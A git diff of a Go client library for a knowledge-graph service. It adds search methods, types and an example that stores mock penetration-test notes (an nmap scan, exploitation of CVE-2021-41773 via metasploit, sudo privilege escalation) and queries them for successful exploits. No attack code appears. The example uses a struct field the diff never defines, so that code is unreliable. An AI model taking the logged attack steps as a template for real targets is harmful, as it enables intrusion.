|
||||
fmt.Println("\n" + strings.Repeat("=", 80))
|
||||
fmt.Println("TEST 7: Entity By Label Search")
|
||||
fmt.Println(strings.Repeat("=", 80) + "\n")
|
||||
fmt.Println("ℹ Discovering entity labels in the graph...")
|
||||
|
||||
now := time.Now().UTC()
|
||||
timeStart := now.Add(-6 * time.Hour)
|
||||
timeEnd := now
|
||||
|
||||
// First, use temporal search to get some nodes and discover their labels
|
||||
tempResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
|
||||
Query: "all entities",
|
||||
GroupID: stringPtr(groupID),
|
||||
TimeStart: timeStart,
|
||||
TimeEnd: timeEnd,
|
||||
MaxResults: 15,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
nodes := tempResult.Nodes
|
||||
if len(nodes) == 0 {
|
||||
fmt.Println("✗ No nodes found to discover labels")
|
||||
return
|
||||
}
|
||||
|
||||
// Collect all unique labels from returned nodes
|
||||
allLabelsMap := make(map[string]bool)
|
||||
for _, node := range nodes {
|
||||
if len(node.Labels) > 0 {
|
||||
for _, label := range node.Labels {
|
||||
allLabelsMap[label] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("ℹ Found %d nodes in temporal search\n", len(nodes))
|
||||
|
||||
// Prepare labels for entity-by-label search (required field)
|
||||
var searchLabels []string
|
||||
if len(allLabelsMap) > 0 {
|
||||
for label := range allLabelsMap {
|
||||
searchLabels = append(searchLabels, label)
|
||||
}
|
||||
fmt.Printf("ℹ Discovered labels: %v\n", searchLabels)
|
||||
} else {
|
||||
// Fallback to Entity label (default in Graphiti)
|
||||
searchLabels = []string{"Entity"}
|
||||
fmt.Println("ℹ No custom labels found, using default \"Entity\" label")
|
||||
}
|
||||
|
||||
// Show sample entities
|
||||
fmt.Println("ℹ Sample entities from graph:")
|
||||
for i, node := range nodes {
|
||||
if i >= 5 {
|
||||
break
|
||||
}
|
||||
labels := node.Labels
|
||||
if len(labels) == 0 {
|
||||
labels = []string{"Entity"}
|
||||
}
|
||||
fmt.Printf(" - name: %s, labels: %v\n", node.Name, labels)
|
||||
}
|
||||
|
||||
// Now perform entity-by-label search with discovered labels
|
||||
fmt.Printf("ℹ Testing entity-by-label search with labels: %v\n", searchLabels)
|
||||
|
||||
result, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
|
||||
Query: "tools and systems",
|
||||
GroupID: stringPtr(groupID),
|
||||
NodeLabels: searchLabels,
|
||||
MaxResults: 15,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("✗ Request failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("✓ Found %d nodes, %d edges\n", len(result.Nodes), len(result.Edges))
|
||||
|
||||
if len(result.Nodes) > 0 {
|
||||
fmt.Println("ℹ Top entities by label:")
|
||||
for i, node := range result.Nodes {
|
||||
if i >= 5 {
|
||||
break
|
||||
}
|
||||
summary := node.Summary
|
||||
if len(summary) > 100 {
|
||||
summary = summary[:100] + "..."
|
||||
}
|
||||
fmt.Printf(" - name: %s, labels: %v, summary: %s\n",
|
||||
node.Name, node.Labels, summary)
|
||||
if len(node.Attributes) > 0 {
|
||||
fmt.Printf(" attributes: %v\n", node.Attributes)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func stringPtr(s string) *string {
|
||||
return &s
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
module advanced_search_example
|
||||
|
||||
go 1.25.3
|
||||
|
||||
require github.com/vxcontrol/graphiti-go-client v0.0.0
|
||||
|
||||
require github.com/google/uuid v1.6.0
|
||||
|
||||
replace github.com/vxcontrol/graphiti-go-client => ../
|
||||
@@ -0,0 +1,2 @@
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -193,3 +193,68 @@ func (c *Client) Clear() (*Result, error) {
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// Advanced Search Methods
|
||||
|
||||
// TemporalWindowSearch searches for context within a specific time window
|
||||
func (c *Client) TemporalWindowSearch(request TemporalSearchRequest) (*TemporalSearchResponse, error) {
|
||||
var result TemporalSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/temporal-window", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// EntityRelationshipsSearch finds relationships and related entities from a center node
|
||||
func (c *Client) EntityRelationshipsSearch(request EntityRelationshipSearchRequest) (*EntityRelationshipSearchResponse, error) {
|
||||
var result EntityRelationshipSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/entity-relationships", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// DiverseResultsSearch gets diverse, non-redundant results using MMR
|
||||
func (c *Client) DiverseResultsSearch(request DiverseSearchRequest) (*DiverseSearchResponse, error) {
|
||||
var result DiverseSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/diverse-results", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// EpisodeContextSearch searches through agent responses and tool execution records
|
||||
func (c *Client) EpisodeContextSearch(request EpisodeContextSearchRequest) (*EpisodeContextSearchResponse, error) {
|
||||
var result EpisodeContextSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/episode-context", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// SuccessfulToolsSearch finds successful tool executions and attack patterns
|
||||
func (c *Client) SuccessfulToolsSearch(request SuccessfulToolsSearchRequest) (*SuccessfulToolsSearchResponse, error) {
|
||||
var result SuccessfulToolsSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/successful-tools", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// RecentContextSearch retrieves recent relevant context
|
||||
func (c *Client) RecentContextSearch(request RecentContextSearchRequest) (*RecentContextSearchResponse, error) {
|
||||
var result RecentContextSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/recent-context", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
// EntityByLabelSearch searches for entities by label/type with optional edge filtering
|
||||
func (c *Client) EntityByLabelSearch(request EntityByLabelSearchRequest) (*EntityByLabelSearchResponse, error) {
|
||||
var result EntityByLabelSearchResponse
|
||||
if err := c.do(http.MethodPost, "/search/entity-by-label", request, &result); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &result, nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,275 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
graphiti "github.com/vxcontrol/graphiti-go-client"
|
||||
)
|
||||
|
||||
// This example demonstrates the advanced search capabilities of the Graphiti Go client.
|
||||
// It shows how to use specialized search methods for temporal queries, entity relationships,
|
||||
// diverse results, episodes, successful tools, recent context, and entity label filtering.
|
||||
|
||||
func main() {
|
||||
// Create a client
|
||||
client := graphiti.NewClient("http://localhost:8000", graphiti.WithTimeout(60*time.Second))
|
||||
|
||||
// Health check
|
||||
fmt.Println("=== Health Check ===")
|
||||
health, err := client.HealthCheck()
|
||||
if err != nil {
|
||||
log.Fatalf("Health check failed: %v", err)
|
||||
}
|
||||
fmt.Printf("Status: %s\n\n", health.Status)
|
||||
|
||||
// Create a unique group ID for this example
|
||||
groupID := uuid.New().String()
|
||||
fmt.Printf("Using group ID: %s\n\n", groupID)
|
||||
|
||||
// Add some security test messages to demonstrate advanced search
|
||||
fmt.Println("=== Adding Security Test Messages ===")
|
||||
messages := []graphiti.Message{
|
||||
{
|
||||
Content: "Performed nmap scan on target 192.168.1.100. Found open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS).",
|
||||
Author: "pentester",
|
||||
Timestamp: time.Now().Add(-2 * time.Hour),
|
||||
},
|
||||
{
|
||||
Content: "Detected Apache 2.4.41 running on port 80 with potential CVE-2021-41773 vulnerability.",
|
||||
Author: "scanner",
|
||||
Timestamp: time.Now().Add(-90 * time.Minute),
|
||||
},
|
||||
{
|
||||
Content: "Successfully exploited CVE-2021-41773 using metasploit. Gained shell access.",
|
||||
Author: "exploit_tool",
|
||||
Timestamp: time.Now().Add(-60 * time.Minute),
|
||||
},
|
||||
{
|
||||
Content: "Performed privilege escalation using CVE-2021-3156 (sudo vulnerability).",
|
||||
Author: "exploit_tool",
|
||||
Timestamp: time.Now().Add(-45 * time.Minute),
|
||||
},
|
||||
}
|
||||
|
||||
addResult, err := client.AddMessages(graphiti.AddMessagesRequest{
|
||||
GroupID: groupID,
|
||||
Messages: messages,
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to add messages: %v", err)
|
||||
}
|
||||
fmt.Printf("%s: %v\n\n", addResult.Message, addResult.Success)
|
||||
|
||||
// Wait for processing
|
||||
fmt.Println("Waiting for messages to be processed...")
|
||||
maxAttempts := 12
|
||||
pollInterval := 5 * time.Second
|
||||
|
||||
for attempt := 1; attempt <= maxAttempts; attempt++ {
|
||||
fmt.Printf(" Polling (attempt %d/%d)...\n", attempt, maxAttempts)
|
||||
episodes, err := client.GetEpisodes(groupID, 10)
|
||||
if err != nil {
|
||||
log.Printf(" Warning: Failed to get episodes: %v", err)
|
||||
} else if len(episodes) > 0 {
|
||||
fmt.Printf(" ✓ Found %d episodes, ready for advanced search!\n\n", len(episodes))
|
||||
break
|
||||
}
|
||||
|
||||
if attempt == maxAttempts {
|
||||
log.Printf("Warning: No episodes found after waiting. Continuing anyway...\n\n")
|
||||
}
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
|
||||
// Example 1: Temporal Window Search
|
||||
fmt.Println("=== Example 1: Temporal Window Search ===")
|
||||
fmt.Println("Searching for activities in the last 3 hours...")
|
||||
temporalResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
|
||||
Query: "What security tests were performed?",
|
||||
GroupID: &groupID,
|
||||
TimeStart: time.Now().Add(-3 * time.Hour),
|
||||
TimeEnd: time.Now(),
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Temporal search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d edges, %d nodes, %d episodes\n",
|
||||
len(temporalResult.Edges), len(temporalResult.Nodes), len(temporalResult.Episodes))
|
||||
fmt.Printf("Time window: %s to %s\n",
|
||||
temporalResult.TimeWindow.Start.Format(time.RFC3339),
|
||||
temporalResult.TimeWindow.End.Format(time.RFC3339))
|
||||
for i, episode := range temporalResult.Episodes {
|
||||
score := 0.0
|
||||
if i < len(temporalResult.EpisodeScores) {
|
||||
score = temporalResult.EpisodeScores[i]
|
||||
}
|
||||
fmt.Printf(" - Episode (score: %.2f): %s\n", score, episode.Content[:min(80, len(episode.Content))])
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Example 2: Diverse Results Search
|
||||
fmt.Println("=== Example 2: Diverse Results Search ===")
|
||||
fmt.Println("Getting diverse attack vectors with high diversity...")
|
||||
diverseResult, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
|
||||
Query: "Show different attack methods and vulnerabilities",
|
||||
GroupID: &groupID,
|
||||
DiversityLevel: "high",
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Diverse search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d diverse edges, %d nodes, %d episodes\n",
|
||||
len(diverseResult.Edges), len(diverseResult.Nodes), len(diverseResult.Episodes))
|
||||
for i, edge := range diverseResult.Edges {
|
||||
score := 0.0
|
||||
if i < len(diverseResult.EdgeMMRScores) {
|
||||
score = diverseResult.EdgeMMRScores[i]
|
||||
}
|
||||
fmt.Printf(" - Edge (MMR: %.2f): %s\n", score, edge.Fact[:min(80, len(edge.Fact))])
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Example 3: Episode Context Search
|
||||
fmt.Println("=== Example 3: Episode Context Search ===")
|
||||
fmt.Println("Searching for tool execution records...")
|
||||
episodeResult, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
|
||||
Query: "Show tool execution results",
|
||||
GroupID: &groupID,
|
||||
IncludeToolCalls: true,
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Episode search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d episodes with %d mentioned nodes\n",
|
||||
len(episodeResult.Episodes), len(episodeResult.MentionedNodes))
|
||||
for i, episode := range episodeResult.Episodes {
|
||||
score := 0.0
|
||||
if i < len(episodeResult.RerankerScores) {
|
||||
score = episodeResult.RerankerScores[i]
|
||||
}
|
||||
fmt.Printf(" - Episode (score: %.2f) from %s: %s\n",
|
||||
score, episode.Source, episode.Content[:min(80, len(episode.Content))])
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Example 4: Successful Tools Search
|
||||
fmt.Println("=== Example 4: Successful Tools Search ===")
|
||||
fmt.Println("Finding successful exploits with min 1 mention...")
|
||||
toolsResult, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
|
||||
Query: "Find successful exploits",
|
||||
GroupID: &groupID,
|
||||
MinMentions: 1,
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Successful tools search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d edges with sufficient mentions\n", len(toolsResult.Edges))
|
||||
for i, edge := range toolsResult.Edges {
|
||||
mentions := 0.0
|
||||
if i < len(toolsResult.EdgeMentionCounts) {
|
||||
mentions = toolsResult.EdgeMentionCounts[i]
|
||||
}
|
||||
fmt.Printf(" - Edge (mentions: %.0f): %s\n", mentions, edge.Fact[:min(80, len(edge.Fact))])
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Example 5: Recent Context Search
|
||||
fmt.Println("=== Example 5: Recent Context Search ===")
|
||||
fmt.Println("Getting recent discoveries from the last 6 hours...")
|
||||
recentResult, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
|
||||
Query: "What was discovered recently?",
|
||||
GroupID: &groupID,
|
||||
RecencyWindow: "6h",
|
||||
MaxResults: 10,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Recent context search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d recent edges, %d nodes, %d episodes\n",
|
||||
len(recentResult.Edges), len(recentResult.Nodes), len(recentResult.Episodes))
|
||||
fmt.Printf("Recency window: %s to %s\n",
|
||||
recentResult.TimeWindow.Start.Format(time.RFC3339),
|
||||
recentResult.TimeWindow.End.Format(time.RFC3339))
|
||||
for i, edge := range recentResult.Edges {
|
||||
score := 0.0
|
||||
if i < len(recentResult.EdgeScores) {
|
||||
score = recentResult.EdgeScores[i]
|
||||
}
|
||||
fmt.Printf(" - Recent edge (score: %.2f): %s\n", score, edge.Fact[:min(80, len(edge.Fact))])
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Example 6: Entity By Label Search
|
||||
fmt.Println("=== Example 6: Entity By Label Search ===")
|
||||
fmt.Println("Searching for SERVICE and VULNERABILITY entities...")
|
||||
labelResult, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
|
||||
Query: "Find vulnerable services",
|
||||
GroupID: &groupID,
|
||||
NodeLabels: []string{"SERVICE", "VULNERABILITY", "IP_ADDRESS"},
|
||||
MaxResults: 20,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Entity label search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d nodes, %d edges\n", len(labelResult.Nodes), len(labelResult.Edges))
|
||||
for i, node := range labelResult.Nodes {
|
||||
score := 0.0
|
||||
if i < len(labelResult.NodeScores) {
|
||||
score = labelResult.NodeScores[i]
|
||||
}
|
||||
fmt.Printf(" - Node (score: %.2f): %s [labels: %v]\n",
|
||||
score, node.Name, node.Labels)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// Optional: Entity Relationships Search (requires a known entity UUID)
|
||||
// This example shows the pattern, but won't execute without a real entity UUID
|
||||
fmt.Println("=== Example 7: Entity Relationships Search (Pattern) ===")
|
||||
fmt.Println("To use EntityRelationshipsSearch, you need a center node UUID.")
|
||||
fmt.Println("Example usage:")
|
||||
fmt.Println(`
|
||||
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
|
||||
Query: "What is connected to this service?",
|
||||
GroupID: &groupID,
|
||||
CenterNodeUUID: "your-entity-uuid-here",
|
||||
MaxDepth: 2,
|
||||
NodeLabels: &[]string{"VULNERABILITY", "EXPLOIT"},
|
||||
MaxResults: 20,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Entity relationships search failed: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("Found %d related nodes at various distances\n", len(result.Nodes))
|
||||
}
|
||||
`)
|
||||
fmt.Println()
|
||||
|
||||
// Cleanup: delete the group
|
||||
fmt.Println("=== Cleanup ===")
|
||||
deleteResult, err := client.DeleteGroup(groupID)
|
||||
if err != nil {
|
||||
log.Printf("Warning: Failed to delete group: %v", err)
|
||||
} else {
|
||||
fmt.Printf("%s: %v\n", deleteResult.Message, deleteResult.Success)
|
||||
}
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -107,3 +107,181 @@ type Episode struct {
|
||||
ValidAt time.Time `json:"valid_at"`
|
||||
Metadata map[string]interface{} `json:"metadata,omitempty"`
|
||||
}
|
||||
|
||||
// Advanced Search Types
|
||||
|
||||
// NodeResult represents a node result from search
|
||||
type NodeResult struct {
|
||||
UUID string `json:"uuid"`
|
||||
Name string `json:"name"`
|
||||
Labels []string `json:"labels"`
|
||||
Summary string `json:"summary"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Attributes map[string]interface{} `json:"attributes,omitempty"`
|
||||
}
|
||||
|
||||
// EdgeResult represents an edge result from search
|
||||
type EdgeResult struct {
|
||||
UUID string `json:"uuid"`
|
||||
Name string `json:"name"`
|
||||
Fact string `json:"fact"`
|
||||
SourceNodeUUID string `json:"source_node_uuid"`
|
||||
TargetNodeUUID string `json:"target_node_uuid"`
|
||||
ValidAt *time.Time `json:"valid_at,omitempty"`
|
||||
InvalidAt *time.Time `json:"invalid_at,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
ExpiredAt *time.Time `json:"expired_at,omitempty"`
|
||||
}
|
||||
|
||||
// EpisodeResult represents an episode result from search
|
||||
type EpisodeResult struct {
|
||||
UUID string `json:"uuid"`
|
||||
Content string `json:"content"`
|
||||
Source string `json:"source"`
|
||||
SourceDescription string `json:"source_description"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
ValidAt time.Time `json:"valid_at"`
|
||||
}
|
||||
|
||||
// CommunityResult represents a community result from search
|
||||
type CommunityResult struct {
|
||||
UUID string `json:"uuid"`
|
||||
Name string `json:"name"`
|
||||
Summary string `json:"summary"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// TimeWindow represents a time window
|
||||
type TimeWindow struct {
|
||||
Start time.Time `json:"start"`
|
||||
End time.Time `json:"end"`
|
||||
}
|
||||
|
||||
// TemporalSearchRequest represents a temporal window search request
|
||||
type TemporalSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
TimeStart time.Time `json:"time_start"`
|
||||
TimeEnd time.Time `json:"time_end"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// TemporalSearchResponse represents a temporal window search response
|
||||
type TemporalSearchResponse struct {
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeScores []float64 `json:"edge_scores"`
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeScores []float64 `json:"node_scores"`
|
||||
Episodes []EpisodeResult `json:"episodes"`
|
||||
EpisodeScores []float64 `json:"episode_scores"`
|
||||
TimeWindow TimeWindow `json:"time_window"`
|
||||
}
|
||||
|
||||
// EntityRelationshipSearchRequest represents an entity relationships search request
|
||||
type EntityRelationshipSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
CenterNodeUUID string `json:"center_node_uuid"`
|
||||
MaxDepth int `json:"max_depth,omitempty"`
|
||||
NodeLabels *[]string `json:"node_labels,omitempty"`
|
||||
EdgeTypes *[]string `json:"edge_types,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// EntityRelationshipSearchResponse represents an entity relationships search response
|
||||
type EntityRelationshipSearchResponse struct {
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeDistances []float64 `json:"edge_distances"`
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeDistances []float64 `json:"node_distances"`
|
||||
CenterNode *NodeResult `json:"center_node,omitempty"`
|
||||
}
|
||||
|
||||
// DiverseSearchRequest represents a diverse results search request
|
||||
type DiverseSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
DiversityLevel string `json:"diversity_level,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// DiverseSearchResponse represents a diverse results search response
|
||||
type DiverseSearchResponse struct {
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeMMRScores []float64 `json:"edge_mmr_scores"`
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeMMRScores []float64 `json:"node_mmr_scores"`
|
||||
Episodes []EpisodeResult `json:"episodes"`
|
||||
EpisodeScores []float64 `json:"episode_scores"`
|
||||
Communities []CommunityResult `json:"communities"`
|
||||
CommunityMMRScores []float64 `json:"community_mmr_scores"`
|
||||
}
|
||||
|
||||
// EpisodeContextSearchRequest represents an episode context search request
|
||||
type EpisodeContextSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// EpisodeContextSearchResponse represents an episode context search response
|
||||
type EpisodeContextSearchResponse struct {
|
||||
Episodes []EpisodeResult `json:"episodes"`
|
||||
RerankerScores []float64 `json:"reranker_scores"`
|
||||
MentionedNodes []NodeResult `json:"mentioned_nodes"`
|
||||
MentionedNodeScores []float64 `json:"mentioned_node_scores"`
|
||||
}
|
||||
|
||||
// SuccessfulToolsSearchRequest represents a successful tools search request
|
||||
type SuccessfulToolsSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
MinMentions int `json:"min_mentions,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// SuccessfulToolsSearchResponse represents a successful tools search response
|
||||
type SuccessfulToolsSearchResponse struct {
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeMentionCounts []float64 `json:"edge_mention_counts"`
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeMentionCounts []float64 `json:"node_mention_counts"`
|
||||
Episodes []EpisodeResult `json:"episodes"`
|
||||
EpisodeScores []float64 `json:"episode_scores"`
|
||||
}
|
||||
|
||||
// RecentContextSearchRequest represents a recent context search request
|
||||
type RecentContextSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
RecencyWindow string `json:"recency_window,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// RecentContextSearchResponse represents a recent context search response
|
||||
type RecentContextSearchResponse struct {
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeScores []float64 `json:"edge_scores"`
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeScores []float64 `json:"node_scores"`
|
||||
Episodes []EpisodeResult `json:"episodes"`
|
||||
EpisodeScores []float64 `json:"episode_scores"`
|
||||
TimeWindow TimeWindow `json:"time_window"`
|
||||
}
|
||||
|
||||
// EntityByLabelSearchRequest represents an entity by label search request
|
||||
type EntityByLabelSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
GroupID *string `json:"group_id,omitempty"`
|
||||
NodeLabels []string `json:"node_labels"`
|
||||
EdgeTypes *[]string `json:"edge_types,omitempty"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// EntityByLabelSearchResponse represents an entity by label search response
|
||||
type EntityByLabelSearchResponse struct {
|
||||
Nodes []NodeResult `json:"nodes"`
|
||||
NodeScores []float64 `json:"node_scores"`
|
||||
Edges []EdgeResult `json:"edges"`
|
||||
EdgeScores []float64 `json:"edge_scores"`
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user